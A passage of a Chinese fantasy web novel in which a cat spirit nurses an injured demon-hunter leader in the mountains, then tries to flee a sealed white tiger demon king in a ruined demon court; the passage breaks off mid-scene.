那些没有背景没有权势的普通降妖师,更是连最低阶的灵植都摸不着。 所以天师堂的降妖师们想靠嗑药快速提升法力,也不是什么容易的事。 晏舒寒看着衔蝉装好的半框南瓜红薯,犹豫了半晌,终究还是开口了。 “小友,那些灵植,你能卖些给我么?” “价格随你开,不论小友想要金银珠宝,还是法宝丹药,亦或是想入世去人间之类的条件,我都可以答应!” 正在背筐的衔蝉:“欸?” “你要买这些南瓜和红薯?” 晏舒寒郑重点头:“是,而且小友若是还有更多,我也可以全部包了,绝不还价。” 她没有追问这些灵植的来历,只向衔蝉表达了想要大量购买灵植的意愿。 衔蝉的眼睛一下子就亮了。 想起东坡子洞刚开在山下的灵植店,猫眼睛滴溜一转,笑得满脸和气生财。 “你找我买灵植,还真就找对了!” 猫毫不心虚的开口为自家灵植店打广告:“不瞒你说,这个灵植我也是在别的地方买的!” “平安镇知道吧?那里新开了一家灵植店,我的灵植就是在那里买的!” “听说那家店刚开,现在库存充足得很,价格也实惠,你要是不怕远,直接去那里买,想买多少都有!” 晏舒寒:“!” “小友此话当真?!” “骗你做什么!不信的话,等你伤好了自己去平安镇看看嘛!” 晏舒寒压下心中狂喜,又朝衔蝉抱拳:“好,我先记下了,多谢小友指点明路!” “若是真有那样一家店,那我便多欠小友一份人情,将来小友若有人间事要办,只管来找我便是!” 衔蝉:“好噢。” 说着,她把筐子侧着背在腰间,又蹲在晏舒寒身前。 “走吧走吧,我先送你下山,别的什么事都下山了再说。” 晏舒寒再次道谢后,果真趴在了衔蝉背上。 衔蝉就这么背着半筐南瓜红薯和一个大活人,健步如飞的在山里行走起来。 晏舒寒负责指路,衔蝉负责赶路,不多时就在山里走出了数十里远。 “唔,天色不早了,我们先找个地方歇一夜吧。” 走了半天后,衔蝉抬头看了看天,然后小心地将晏舒寒放下来。 其实她还可以继续赶路的啦,但晏舒寒的伤势好像又有些反复起来了,在她耳边的呼吸都越发吃力了。 衔蝉便很贴心的决定放她下来休息一夜。 不然万一让这个未来大顾客死在半路了,那多不好。 把晏舒寒放下后,衔蝉还摸了摸她的额头。 果然滚烫滚烫的。 手上身上却拔凉拔凉的。 唉,真是作孽哟。 猫在心里暗叹一声,那个什么鬼妖王,也太残暴了吧! 看给人揍得! 简直闻者流泪见者伤心。 “你先歇会,在这里等我。我去生火烤点红薯南瓜,再看看附近有没有什么猎物可以加餐。” 晏舒寒靠坐在一颗大树下,有些昏沉的点了点头。 衔蝉将她放下后,立马在附近捡柴火,先点了个篝火,让晏舒寒取暖。 火光在黑夜里跳动,晏舒寒的身上也不再冰凉得吓人。 衔蝉叹了口气,脱下自己的黑白条外衣给她盖上,再重新用灵力变了一身新的毛毛衣服出来。 安顿好晏舒寒,衔蝉又在篝火上烤了两个红薯,两块南瓜。 做好一切后,她才去周围转了转,大概半刻钟后,猫就提着一只倒霉的猎物回来了。 还是在水边剥洗好了才带回来的。 猫收起锋利的爪子,把猎物也架在篝火堆上烤。 一边烤,还一边关注着晏舒寒的情况。 她裹着衔蝉的外衣,闭着双眼,不知道是睡了还是又晕了,火光下的侧脸上是难掩的疲态。 衔蝉盯着她看了一会,又扭头继续烤吃的。 南瓜红薯很快就烤熟了,衔蝉走过去,轻轻推了推晏舒寒。 “晏姨姨,醒醒,吃晚饭了。” 晏舒寒费力睁开双眼,意识还没清醒过来呢,嘴边就被喂了一块热乎乎的烤红薯。 她本能的张嘴咬了一口。 烤得香甜软糯的红薯在嘴里化开,晏舒寒一下子清醒过来。 看着蹲在自己面前一脸关切的衔蝉,和她举着的烤红薯,晏舒寒心里一暖。 再低头一看,自己身上还盖着人家的外衣。 晏舒寒撑着身体坐起来,接过烤红薯:“有劳小友费心了,我自己来吧,你也快吃。” 衔蝉却不是很放心让她自己拿着烤红薯吃,毕竟她现在看上去就是一副虚弱得要原地暴毙的样子。 猫很操心的给她喂完了一个烤红薯,又给她喂烤南瓜。 她自己也没饿着,猫的人形有两只手,左右开弓,两不耽搁。 又一会后,篝火上的肉快要熟了,已经吃了三天南瓜红薯吃得反胃的衔蝉果断把剩下的南瓜红薯全塞给晏舒寒了。 晏舒寒感动坏了。 衔蝉小友居然把灵植让给她,自己却去吃那些不含灵气的普通猎物! 晏舒寒一边吃着能助她养伤的灵植,一边看着衔蝉啃烤肉的侧脸,心中微动。 一顿晚饭下来,晏舒寒获得了能救命的灵气,衔蝉犒劳了自己的嘴巴和肚皮,皆大欢喜。 “好了!吃饱了!该睡觉啦!” 衔蝉站起来伸了个懒腰,又往篝火堆里加了些木柴。 这样就可以放心睡觉了。 但是问题又来了,这深山老林子里,衔蝉倒可以随便找棵树就睡一觉,但晏舒寒不行啊。 总不能让一个重伤患者睡泥巴地上吧。 万一让人家伤势恶化了怎么办? 可山里又没有床。 猫陷入沉思。《 》 85-90 第86章 “无所不能的灵力啊, 猫要变大,变得很大很大要像老虎那么大” 思索半晌后,衔蝉开始小声碎碎念。 一边念叨, 一边将丹田里的灵力抽取出来, 裹遍全身。 再变回原型,用当初化形时的法子, 以灵力雕琢自身,像吹气球一样把自己吹大。 这还真有用。 猫摸索了片刻, 成功把自己变成了一只老虎那么大的大大大橘。 等比例放大后的猫看上去更敦实了,要是不仔细看,一打眼还真会把她误认为是一头花色稍浅的猛虎。 猛虎版衔蝉甩了甩爪子,一次就变大原型成功,让猫很有成就感。 而且变大后, 猫忽然有一种感觉,就好像她本来就该这么大似的,甚至还可以更大! 不过目前的话,再大就没必要了,怪浪费灵力的。 衔蝉抖了抖耳朵,脚步轻快的走向晏舒寒, 然后低头, duang的一声趴下。 超大一坨巨型毛绒绒就这么怼在了晏舒寒面前。 本来因为伤势而有些昏沉的晏舒寒一下子就清醒了不少。 她有些惊讶的看着衔蝉白底橘花的花色,心中暗暗称奇。 原本她还看衔蝉穿着黑白条的衣裳, 以为她的跟脚约摸是个黑白花的奶牛猫来着。 没想到居然是个大橘? 但转念一想,妖族的衣裳虽然大多是由皮毛鳞甲所化,但说到底,还是由灵气化成的。 所以妖想要给自己的衣裳换个花色款式,倒比人类轻易不少。 衔蝉估计就是这情况。 她看上去还年轻, 性子也活泼,换算成人类的年龄大约也就是个少年人,有些独特的喜好也很正常。 于是晏舒寒便没多嘴问这一茬。 duang大一只衔蝉走到晏舒寒身边趴下后,换了个姿势,改成侧躺在她左边,再用尾巴将她扶到自己的肚皮上。 “晏姨姨,荒郊野岭的没有床,你就先睡在我的肚皮上吧。” 说着,她就将晏舒寒圈在了自己最温暖扎实的腹部。 晏舒寒整个人都被毛绒绒圈了起来,眼睛都睁大了些许。 这傻孩子怎么这么实心眼啊。 不仅当着她的面就变成原型,还敢把一个跟妖族有世仇的人类圈在自己最柔软最不设防的丹田附近? 虽然从她的角度来说,这样会让她躺得很舒服很暖和,但这对衔蝉自己来说,是很有风险的。 晏舒寒叹气道:“衔蝉,你的长辈有没有教过你,不要轻易向别人袒露丹田。” “万一我是个坏人,你现在已经受伤了。” 衔蝉眨了眨眼睛:“但是你现在就算想伤我也做不到欸。” 她伤成这样,别说对她动手脚了,自己站起来走两步都费劲。 而且猫也不傻。 她敢用腹部圈着晏舒寒,自有她的底气。 她那变异了的丹田里,三颗本命灵植随时待命着呢。 尤其是攻击性最强的藿麻,早就蠢蠢欲动了。 但凡晏舒寒想不开,想偷袭她的丹田,猫敢保证,藿麻一定会比她动手的速度更快。 只是这些话就没必要跟晏舒寒说了,说太直白了有点伤感情。 而且猫的底牌,也不会轻易亮出来。 见衔蝉不以为意的样子,晏舒寒沉默了片刻。 她无奈道:“就算我是伤患,你也要多存一分警惕,降妖师的手段有很多的。” 衔蝉:猫知道的啦。 猫的师尊也是降妖师呢。 所以降妖师有什么本事,她可太清楚了。 这也是猫敢于在陌生降妖师面前露肚皮的另一重底气。 不过这话也不必说。 毕竟现在她跟晏舒寒还不是很熟,没必要交浅言深。 于是猫嗯嗯啊啊的点了点头:“嗯呐嗯呐,我知道了,晏姨姨,天不早了,你快睡吧。” 晏舒寒深深的看了衔蝉一眼,颇有些忧心的又叮嘱了她一遍才合眼睡去。 枕着毛绒绒的大猫肚皮,猫身上的热量源源不断的朝重伤的人类涌去,为她维持住了体温。 晏舒寒哪怕是在没受伤的时候,都没睡过这么舒适温暖的恒温毛绒大床。 因此她这一觉睡得极沉。 衔蝉待她睡着后,也闭了眼睛。 一人一猫就这么在深山的篝火里互相依偎着睡去。 入夜后的山里并不平静,晏舒寒身上的血腥味吸引来了好些不速之客,许多窥伺的目光自暗处看向篝火。 但在看到篝火旁的“猛虎”时,不速之客们又退缩了。 那么大一只老虎,一看就是个硬茬,算了算了,还是撤吧。 听到逐渐远去的脚步声,衔蝉这才松了一口气。 幸好这妖都遗址里没什么真正厉害的大妖。 所以以猫现在的实力,勉强也能镇住一方场子。 至少护晏舒寒一夜不成问题。 被毛肚皮圈得稳稳当当的人类眼皮动了动,呼吸逐渐绵长。 这一夜,过得还算安稳。 第二天。 猫早早醒来,一睁眼就先嗅了嗅晏舒寒的气息。 察觉到她的气息平稳了不少,伤势也已经在开始愈合后,猫才放心下来。 还好还好,未来的大客户成功熬过了最危险的一夜,顺利活了下来。 之后再把她送回人类的地盘好好休养,应该就稳了。 衔蝉张嘴打了个哈欠。 昨晚上她虽然一直闭着眼睛,但其实压根没敢睡太沉,一整晚都在警戒周遭。 所以现在猫还有点困。 猫交叉着前爪,盯着还在熟睡的晏舒寒思索了一会。 片刻后,一颗红薯藤拔地而起,再用坚韧的藤蔓卷起两颗生红薯,熟练的架在了还没燃尽的篝火上。 我烤我自己.jpg 噗的一声轻响,旁边又冒出一颗野蛮生长的南瓜藤,它像蛇一样在地上匍匐着前进,藤蔓上的须须像手一样延伸出去。 等南瓜藤再缩回来时,藤蔓里已经缠了许多树枝枯草。 猫尾巴一点,南瓜藤就把柴火整整齐齐码在篝火边,再和红薯藤一起没入地下,消失不见。 衔蝉又打了个哈欠,半眯着眼睛,看着篝火上的烤红薯。 等烤红薯熟了,她轻轻用尾巴尖戳了戳晏舒寒,将她叫醒起来吃早饭。 又一顿富含灵力的烤红薯下肚,晏舒寒的伤势肉眼可见的愈合得更快了。 翻卷的皮肉和撕裂的伤口逐渐长拢,包裹着断裂的骨头,一点一点的重新被灵力粘合回去。 五脏六腑的伤势也在灵力的滋养下缓缓复原。 这个过程有点长,也很痛,但晏舒寒全程一声没吭。 吃完早饭后衔蝉继续背着她赶路,往山下走。 伤势缓和了许多的晏舒寒今天给衔蝉指起路来更得心应手了。 她似乎对这一片地界相当熟,给衔蝉指出来的下山路都很好走,而且路上几乎没遇到什么大妖。 当然也没遇到什么人。 只在中途的时候路过了好几处血腥味极为浓重的地方,但留下血腥味的人或者妖早已不见踪影。 衔蝉淡定的从这几个一看就有过恶战的战场路过。 就这么走了两天后,晏舒寒的伤势基本稳定了,已经可以在衔蝉的搀扶下自己走几步了。 距离下山的路也越来越短。 只是越往山下走,山里的路越发明显,人类留下的痕迹也越来越多。 又走了一天后,衔蝉背着晏舒寒站在一个山坡上,已经能远远看到山下的人类城池了。 衔蝉驻足了一会,默默估算了一下那座城池的大小,然后在心里咋舌。 那座城,至少比平安镇大几十倍啊。 看样子应该是个很繁华的人类城市。 猫正感慨呢,晏舒寒就轻轻拍了拍衔蝉的肩膀。 “小友,放我下来吧。” “这几天有劳小友照顾,晏舒寒感激不尽。” 她摸出半块玉佩,递给衔蝉。 “前方就是人类城池,小友若再前进恐有不便,我们便在此别过吧。” “这个玉佩是我随身之物,若将来小友有事,只管拿着这玉佩去卢陵找晏氏,届时自会有人带小友去找我。” 她向衔蝉保证,将来要是衔蝉找上门,不论她提出什么条件,只要没有危害到全人族,她都会竭力为她办到。 “嗯,好吧。” 衔蝉也知道,自己现在贸然进入不熟悉的人类城池风险相当高,她也清楚晏舒寒这样做是有保护她的心思在。 当然也有可能有些别的缘故,但对猫来说,只要知道晏舒寒对她没恶意就够了。 于是猫收下玉佩,又让晏舒寒帮忙画了一张大岭山的地图,这才跟她告别。 一人一猫就在这里告辞,分头朝相反的方向走去。 晏舒寒拄着树枝做拐杖下山,衔蝉重新变回原型扭头再次进山。 猫走得洒脱,叼着晏舒寒撕下衣摆画的地图,竖着尾巴在山间跳跃了几下就不见了。 晏舒寒却停在原地,直到看不到猫的背影了才叹口气,撑着树枝慢慢下山去。 不过在下山之前,她先放飞了一只染血的传讯纸鹤。 大概半日后,山下就来了一大群人。 一个身穿暗紫道袍腰悬金令的降妖师带着一群人急匆匆进山。 纸鹤飞在她们前面为她们引路,很快就将她们带到了晏舒寒面前。 看到还活着的晏舒寒,降妖师们明显长舒了一口气。 为首的紫袍降妖师上前一步,朝晏舒寒拱手行礼:“堂主。” 随后又关切问道:“您没事吧?” 晏舒寒摇摇头:“没事,封印暂时不用担心了,走吧。” 紫袍降妖师点点头,与另一人一同搀扶起晏舒寒,一行人朝山下走去。 夹杂着凉意的山风将人类们的低语吹散在山中。 “风氏失踪了多年的少主回天都了,据说风氏正准备让她正式继任家主。” “哦?她终于在外面潇洒够了,舍得回来了?” “是的,不过听说其中另有隐情。” “知道了。”晏舒寒顿了顿,“她回来了,天师堂的把握便又多了一分。” “对了,你们派些人,去一趟平安镇。” 第87章 对天师堂总堂里的人来说, 平安镇只是个几乎毫无存在感的偏远小镇。 它有多偏呢? 这么说吧,如果把天都比作中州大陆的首都,那平安镇就约摸相当于偏远山区里未开发的原始部落。 但偏偏天师堂总堂里大部分人都知道有这么个地方。 因为当年风氏闹出的那场变故, 让许多人都在明里暗里的看了场大戏。 后来风朔被“发配”, 吃瓜群众们也就顺带记住了她被发配的地方:平安镇。 一个偏得全天都都没几个人听过的山拉卡小镇。 也难为风氏,不知道从哪个角落里把这个灰扑扑的边缘小镇从自家的势力范围里扒拉了出来。 可见当年风氏确实是铁了心想要磨一磨风朔的性子。 不过这事已经过去了十几年, 平安镇也早被天都的吃瓜群众们忘在了脑后。 现在晏舒寒说起平安镇,众人差点没想起来。 还是联想到刚高调回本家的风朔身上, 才恍然想起那个曾在天都狠刷了一波存在感的山卡拉小镇子。 “是风氏少主曾经被发配的平安镇吗?” 晏舒寒的心腹属下问道:“去那里做什么?要调查风氏少主这些年的踪迹么?” “不,跟她无关。” “据说那里新开了家灵植店,派几个得力的人去看看,有没有这回事。” 心腹纳闷:“灵植店?” 天都不就有好几家灵植店吗?做什么舍近求远去那么偏的山卡拉里查有没有新开一家灵植店。 要知道,能开在天都的灵植店, 才是全中州最顶尖的灵植店。 在天都的灵植店里,你甚至能有机会买到中品灵植! 而一株中品灵植意味着什么呢? 一颗中品甚至是上品灵丹,一碗能救命能脱胎换骨的灵药,甚至是危急时刻的一条命! 它虽然价贵,但它能被划在高阶灵物的范围里,的确是物有所值。 即便是在天都的灵植店里, 中品灵植也是供不应求, 不管定多高的价格都有人买。 那几个专门培育灵植的世家都赚麻了。 但好东西之所以是好东西,就是因为它不仅好, 它还稀缺。 自从与妖族大战后,人族就像受了诅咒一样,不仅天师堂里再也没出过大天师,人类的灵植园里,也再没种出过上品灵植。 中品灵植, 就已经是现今人族能培育出的上限了。 想要上品灵植?那只能去几个千年世家的宝库里翻大战前的存货,用一株少一株。 是人类们没想过再努力培育出上品灵植吗? 不,是所有人都只能眼睁睁的看着天地间的灵气缓缓衰退却无可奈何。 当年那一战人类虽然打赢了,但惨胜的人族并没有得到想要的资源。 本着自己得不到敌人也休想得到的想法,妖王在被封印之前毁掉了那个引起两族大战的根源。 ——传说中的神级灵物,能滋养万物,有生生不息之力的混沌宝珠。 也是唯一已知的能阻止灵气继续衰退的宝物。 正因如此,往后的几百年间,本就被屠光了顶尖战力的人族,在灵气逐年减少的大环境下实力是一退再退。 如今天师就是人间最顶尖的战斗力,中品灵植就是人间能得到的最珍贵的宝物了。 所以在天都的几家灵植店里,偶然流出的些许中品灵植,都是能在拍卖场上做压轴的宝贝。 而现在,晏舒寒让她们去调查一家远在平安镇的新开的灵植店? 难不成那里也有中品灵植?不会吧! 晏舒寒摆摆手:“派人去查查就知道了。” 她总觉得,衔蝉没有撒谎。 平安镇上,多半是真有那么一家能大量供应中品灵植的神奇店铺。 衔蝉对那些灵植的随意态度可没法装出来。 在一株中品灵植能约等于半条命甚至是一条命的如今,要是没点底气,谁敢拿中品灵植那么糟蹋? 直接就上篝火给烤了,甚至连同样含有灵气的藤蔓和叶子都不惜得吃。 要知道就算是身为天师堂总堂主的晏舒寒,也不敢那么奢侈啊! 给她一株中品灵植,她哪里舍得直接就烤了吃,当然是拿去找炼丹师炼成一瓶或者几瓶灵丹,再小心翼翼的数着数量省着点吃啊! 更别说把上好的灵植藤蔓叶片随意丢在一旁了,但凡丢了一片叶子,那都算晏舒寒败家! 而且现在晏舒寒兜里还有俩衔蝉给塞的生红薯呢 等回到天都找个炼丹师,再配合一些下品灵植,两颗生红薯,炼个十瓶灵丹出来不成问题。 这也是晏舒寒会向衔蝉许下那种承诺的缘故。 衔蝉“随手”塞给她的这些灵植,实在是太贵重了。 要不是因为自己还欠着人家的救命之恩,还吃了人家那么多灵植,晏舒寒真想当场刨根问底,把衔蝉的灵植来源给摸个清楚。 如果可以的话,她甚至想先下手为强直接去源头包圆所有灵植。 但她虽然不算什么好人,却也还不算个彻底的坏人。 只是晏舒寒也没料到,衔蝉居然那么心大。 她衡量了许久才问出口的问题,衔蝉竟想也没想就直接把来源告诉了她。 直觉告诉晏舒寒,衔蝉并没有撒谎。 那么她说的那个灵植店,就很有必要派人去一探究竟了。 如果真有那么一家横空出世的灵植店,那天师堂最好还是能想办法跟她们达成长期合作协议。 这样天师堂才能长久稳定的获得大量的灵植,才能以此为基础,尽快的培养出更多可用的尖端战力。 为了这事,晏舒寒简直快要愁白了头。 岭山封印眼看着最多还能撑个数十年,她必须赶在妖王破关而出之前,尽可能多的为人族增添筹码。 否则光凭妖王一个,恐怕就能把天师堂杀得片甲不留。 到那时,剩下的人类更没有反抗之力,怕是整个人族都在劫难逃。 毕竟当初人族都对妖族和妖王做了什么天师堂里的绝密信息里记得门清。 所有知道那一段历史的人类心里都清楚,灵霄一死,人族和妖族之间就再无转圜的余地了。 现在人族后辈们只能暗叹,当年的长老们何苦做得那么绝。 为了人族,为了混沌宝珠,不惜一切代价的孤注一掷可以理解,但为什么要唉。 晏舒寒闭了闭眼,只觉得疲惫至极。 前辈们留下来的烂摊子,她又不能不接。 当坐上这个位置的那一天开始,就注定了她迟早得面对这些。 * 衔蝉对晏舒寒的苦恼一无所知。 猫有猫的苦恼。 拿到岭山地图后,猫很认真的看了半天。 但仔细一看,猫才发现,这个地图好像画得有亿点点大。 她现在就好像要拿着一张世界地图,然后要去找某个山卡拉村子里的一家酒店。 衔蝉整个猫都是懵的。 早知道她就不说要岭山地图了! 鬼知道岭山山脉居然这么大! 直到现在,猫才明白“横贯中州”的含金量。 这是真让她拿着世界地图了! 因为中州大陆之所以叫中州大陆,就是因为整个世界就这么一块处在无边汪洋包围之中的大陆。 其世界地形约摸等于猫以前在科普视频里听说过的盘古陆。 猫不由得长吁短叹。 这可坏了,她要怎么拿着世界地图找到回东坡子洞的路哇! 衔蝉愁得毛绒绒的眉头都皱成一团了。 常年竖着的长尾巴也蔫巴巴的垂了下来。 唉。 猫揣着爪蹲在树上,不知道第几次叹气。 真作孽哦。 那个雪狐族的奉王碑真是坑死猫了! 诶等等。 衔蝉头顶的小灯泡一亮。 她是被奉王碑传送过来的,那她能不能找到另一个传送点,直接传送回雪狐族地呢? 但她被传过来的时候好像没看见另一座传送碑啊。 她是被直接传到废弃的妖族王庭来的。 猫沉思,那妖族王庭的废墟里,还能找到第二块差不多的传送碑吗? 这想法一冒出来就止不住了。 衔蝉也是个急性子,当即站起来说走就走。 不就是倒回去找新的传送点吗!猫可以!猫能行! 反正那个妖王的封印已经被加固了,她过去应该也不会有问题的,吧。 大不了她猫猫祟祟点,别惊动那个不知道被封印在王庭哪里的妖王就是了! 猫惹不起,还躲不起吗! 想罢,衔蝉果真猫着腰,迈着极轻的步伐,悄无声息的原路返回。 这种时候,猫的原型就很实用了。 体型小,速度快,灵活度高,再把灵息收敛着点,基本上没谁能注意到路过了一只猫。 又花了两三天,衔蝉总算回到了妖族王庭的遗址。 也是奉王碑的传送目的地,前几天捡到晏舒寒的地方。 想起晏舒寒说自己是拼死加固了一层封印后再逃出来的,衔蝉估摸着,那个凶残的妖王也就被封印在附近。 那她还真得小心点。 白底橘斑的猫凝神屏息,将自己浑身的灵息悉数收拢,假装自己只是一只没开智的普通猫。 这样那个据说从不屑对弱者动手的妖王应该就注意不到她了。 猫很小心的在王庭遗址里搜寻起疑似传送点的石碑来。 但这属实有点难度。 因为这王庭已经被废弃了数百年,倒塌的废墟上都爬满了绿植,几乎看不出原样了。 衔蝉要在这些平均体积几乎是人类建筑的上十倍大小的废墟里找一个也许还没失效的传送碑,那真得费老鼻子劲了。 可再难找也得找。 不然猫总不能自己迈着四条或者两条腿,自己一路走回去吧? 那不得走到猴年马月去! 衔蝉一边在废墟里跳跃寻找目标,一边在心里继续骂胡二。 不知道在多少个残垣断壁上跳过之后,猫忽然脚步一顿。 某种毛骨悚然的预感和直觉,让猫不由自主的弓起腰,浑身的毛都炸开了。 第88章 明明周围没有任何东西, 整片王庭废墟也还是死一样的寂静,连个活物也没有,但衔蝉就是感受到了一股莫名其妙的威压。 那威压像潮水一样向她扑来, 压得猫快要喘不过气! 衔蝉瞬间就明白了, 坏事了这是! 猫被发现了! 还被不知道在哪里的妖王锁定了! 跑!! 猫炸着毛,忙不迭的迈开爪子逃命。 万幸的是那威压里似乎并不含杀意, 衔蝉虽然被压得喘不过气,但在被锁定的时候也还能迈得动腿。 拼命倒腾着微微发抖的四条毛毛腿, 衔蝉紧张得额头都快要冒汗了。 她拼命跑,试图跑出这股无形威压的威慑范围。 妖王还被封印着暂时没法出来,所以只要跑出去就能活下来! 白底橘花的身影像利箭一样在废墟里穿梭,都跑出残影来了。 但不管她跑了多久,朝那个方向跑, 那股恐怖的威压都像鬼一样追着她! 真要命! 这情况要么是妖王真的已经锁定了她这个目标,不管她逃到哪里都会被追杀,要么就是她的威压范围已经大得覆盖整个王庭了! 不论是哪种情况,对衔蝉而言都糟糕透了! 猫越跑越快,心脏跳得几乎要从胸腔里蹦出来。 不知道跑了多久之后,衔蝉终于看到了一丁点曙光。 一座塌了一半的巨大石门就在前方。 那造型, 那高度, 那结构,怎么看怎么像座城门。 如果不出意外的话, 那应该就是王庭的城门了! 换句话说,只要跑出那道门,猫就能离开这片诡异的王庭遗址了! 衔蝉咽下嘴里的铁锈味,拼尽全力朝城门一跃! 砰的一声。 衔蝉落地了。 衔蝉傻眼了。 不对,这个落地的地方怎么越看越眼熟?! 这不是她最初被奉王碑传送过来的地方吗?! 等等!她明明已经跑到城门口跳出去了啊! 怎会如此! 难不成这王庭废墟里还有什么鬼打墙阵法, 不许进入其中的活物离开吗?! 也不对啊!前两天她刚把晏舒寒送下山来着! 猫的CPU高速旋转起来。 不,不一样的。 当时送晏舒寒下山的时候,她可没有触发这股威压。 所以,能不能离开王庭遗址的关键点是有没有被妖王发现。 前两天也许她被加固的封印镇下去了,或者睡过去了,而今天,她又醒来了。 衔蝉这回就很不幸,撞上了。 衔蝉:“” 要命! 早知道当初看看黄历再出门了! 猫脑急速运转,怎么办怎么办,现在还有什么办法能逃离这里? 那个城门口应该是真的城门口,出去了应该就安全了,但问题是她要怎么出去? 她才刚跳过去马上就被传回原点了,这还要怎么跑哇! 不带这么玩的! 左思右想似乎都没有活路了,衔蝉干脆心一横,跑不掉?那就不跑了! 有本事现在就弄死她! 想起跟师尊学会的各种符文,再飞快找出其中具有封印功能的,抬爪就画! 猫咬牙,现在就来看看是我先把你封回去,还是你先弄死我! 王庭上空,无数的灵力汇聚成光点,再朝衔蝉的丹田涌去。 肚皮发光的猫抬起爪子,让丹田里的灵力顺着经络游走到爪尖,再跟随爪尖的动作,在空中一笔一划绘出符文。 随着衔蝉的动作,光点越聚越多,猫头顶出现了一股宛如龙卷风的灵力风暴。 猫就在风暴正中央,双爪齐出的疯狂画符。 被绘制好的灵符像纸牌一样悬浮在猫的身侧,并且越来越多,越来越多。 一张两张五张十张 衔蝉身边悬浮的灵符环绕了她自己一圈又一圈,已经绕了三圈了,但灵符的数量还在不停的增加。 这么大的消耗量几乎榨干了衔蝉的丹田。 她自己积攒下来的灵力全部用光后,又不断的从外界吸收着灵力。 被吸进来的灵力只在丹田里转了一圈,马上就被召到猫爪上,画成灵符。 然后继续吸收,继续画。 绿芽似的丹田被一股接一股的灵力疯狂冲刷着,像一颗真正的幼苗一样被冲得东倒西歪的直晃悠。 但它却始终没被折断。 因为丹田小苗的叶子上还有三颗本命灵植,它们仨仿佛也感知到了主人的危急情况,纷纷伸出枝条和藤蔓,死死的拽住了丹田小苗! 本命灵植的根须也扎进了衔蝉的经脉里,拼命支撑着越来越狂暴的灵力冲刷。 这可苦了衔蝉了。 猫的丹田和经脉都被拽得生疼,像是有人在拿她的猫筋跳绳一样,一抽一抽的疼。 但衔蝉不敢停下。 因为她也不知道要多少张灵符才能镇住那个恐怖的妖王。 猫一直画符,画到自己爪子都已经无法抬起了才作罢。 这时环绕在她身边的灵符已经有六十几张之多了。 里三圈外三圈的灵符让猫看上去像是带了个环形的盾牌。 有了这些“盾”,猫总算是找回了一丝底气。 不知道是不是错觉,或是灵符的作用,她感觉威压稍微小了一点,不像先前那样能压得她炸毛了。 衔蝉深吸一口气,内视了一下自己的丹田。 还好还好,小苗没断,本命灵植也还在。 再休息片刻,她又能继续抽灵力画符了。 不过猫并没有再继续画下去,而是顶着那股无形的威压,壮士断腕般朝着某个威压最浓重的方向走去。 衔蝉走得很艰难。 像逆着台风行走一样,猫耳朵都被压得倒伏下去,浑身的毛也被压得紧贴在身上,但猫的脚步一直很稳。 一步又一步。 六十几张灵符环绕着她,跟她一起前进。 顺着“风向”来处,衔蝉终于看到了此行的目的地。 爬满绿植的废弃广场中间,有一座九十九级的高阶。 高阶顶端是一座巨大的八角高塔,塔的每一个角对应的方位还有一把直插在地上的巨剑。 几十条沉重的符文锁链将高塔和巨剑连接起来,造型跟八卦镜里的镇妖塔不说一模一样,只能说是复制粘贴。 在高阶之上,衔蝉终于看到了那道传说中的身影。 一头少说也有七八米高的斑斓巨虎出现在高塔上。 她底色雪白的皮毛上均匀的分布着黑色的条纹,额头上硕大的“王”字斑纹仿佛自带某种能止小儿夜啼的凶残气场。 ——这是一头每一根毛发都令人生畏的巨大白虎。 是真正的妖族之王,岭山之主! 白虎妖王姿态随意的从塔里走出,明明没什么表情,但却让人无端的想要跪下唱征服。 奇怪的是,她身上似乎并没有什么锁链或者符文,甚至连这座用来封印她的塔她都能随意出入。 衔蝉看到她的时候,她正迈着粗壮有力的四条腿从第九层塔上往下走,不多时便踱步到了第一层。 走出高塔后,白虎妖王站在台阶上低头垂眸,一双似曾相识的金色竖瞳锁定了衔蝉。 衔蝉带着好几圈灵符,站在九十九级台阶下,在斑斓巨虎面前渺小得宛如一只蚂蚁。 “” “” 仰着脑袋的衔蝉张了张嘴,却发现自己不知道该说什么。 猫现在有点头晕。 难怪晏舒寒伤得那么重! 被这大大大老虎拍上一爪子,不管是谁来了都得原地开席的吧! 晏舒寒居然能完整的活着逃出去,这简直是个奇迹!她果然是个猛人啊! 但既然她都能找到机会逃出去,没道理猫今天逃不出去。 要知道猫的速度是人类的七倍! 所以只要她速速把所有灵符都拍过去,就能配合高塔和巨剑还有锁链组成的封印法阵,把她重新镇压回去的,对吧! 猫还有机会,猫不会有逝的! 在巨虎面前小得几乎看不见的衔蝉炸开毛发,再憋了一口气,噗的一下,把自己变大许多倍! 有豆没豆,气势拿够! 变得像老虎那么大之后,衔蝉看上去就没那么弱势了嗯,反正比先前好一点。 “喵嗷!!!” 变大的猫弓起腰背,爪子用力一挥,六十几张灵符就朝着高台上的妖王疾射而去! 灵符全部发射出去的下一秒,衔蝉拔腿就跑。 拜拜了您内! 猫打算得很好,这六十几张灵符,再怎么也够镇她一下了,趁着这一会会的工夫,就是猫的逃命时间! 要是她真被灵符镇回去了当然最好,但就算是没镇回去,猫也能打个时间差先逃远一点再说! 等跑到远一点的地方了,猫再继续画符,回来继续用灵符炸她! 一次不够就炸十次,六十张灵符不够就炸六百张,多炸她亿回,总能把她镇回去的! 反正她现在本体出不来,猫只要跑得够快就可以了! 算盘打得噼啪响的猫跑得比刚刚还快,整个猫嗖的一下就窜出去老远,眨眼间就跑没影了。 她甚至没有回头看一眼灵符究竟有没有把白虎妖王炸回去。 因为现在,时间就是生命! 猫跑慢了一秒,跑慢了一步,就有可能交待在这里! 哪怕是回头的那一丝丝时间,也有可能成为猫是否能顺利逃脱的关键! 衔蝉撒开四条腿闷头狂奔,这辈子都没跑这么快过。 耳边的风声呼呼作响,眼前的景物急速后退,嘴里的铁锈味越来越重。 但衔蝉不敢停下。 晏舒寒的惨状历历在目,猫再心大,也不敢在这种生死存亡关头出岔子。 她要跑得远远的,跑到城门口,再试一次! 刚刚是妖王醒着所以她出不去,但这次灵符都丢出去了,万一呢! 万一真就把她镇回去了呢! 万一这次就真的跳出城门了呢! 抱着亿点点侥幸心理,衔蝉没命的朝城门的方向撒腿狂飙。 第89章 再次一路火花带闪电的冲到城门口, 衔蝉竭尽全力,猛地一跃! 橘色的弧线从空中划过,顺利的从城门这一头, 跃到另一头。 然后在还没落地的空中闪了一下, 瞬间消失不见。 衔蝉:“” 气都还没喘匀的猫又被无形的力量拽了回去。 并且还不是给她传送回了原点,而是直接给她传回了高塔下! 那六十几张灵符, 居然都没能镇住那个白虎妖王!恐怖如斯! 再次被那双硕大的金色竖瞳锁定,衔蝉浑身的毛已经炸得不能再炸了。 熟悉的可怕的威压把她脸朝地压在了地上, 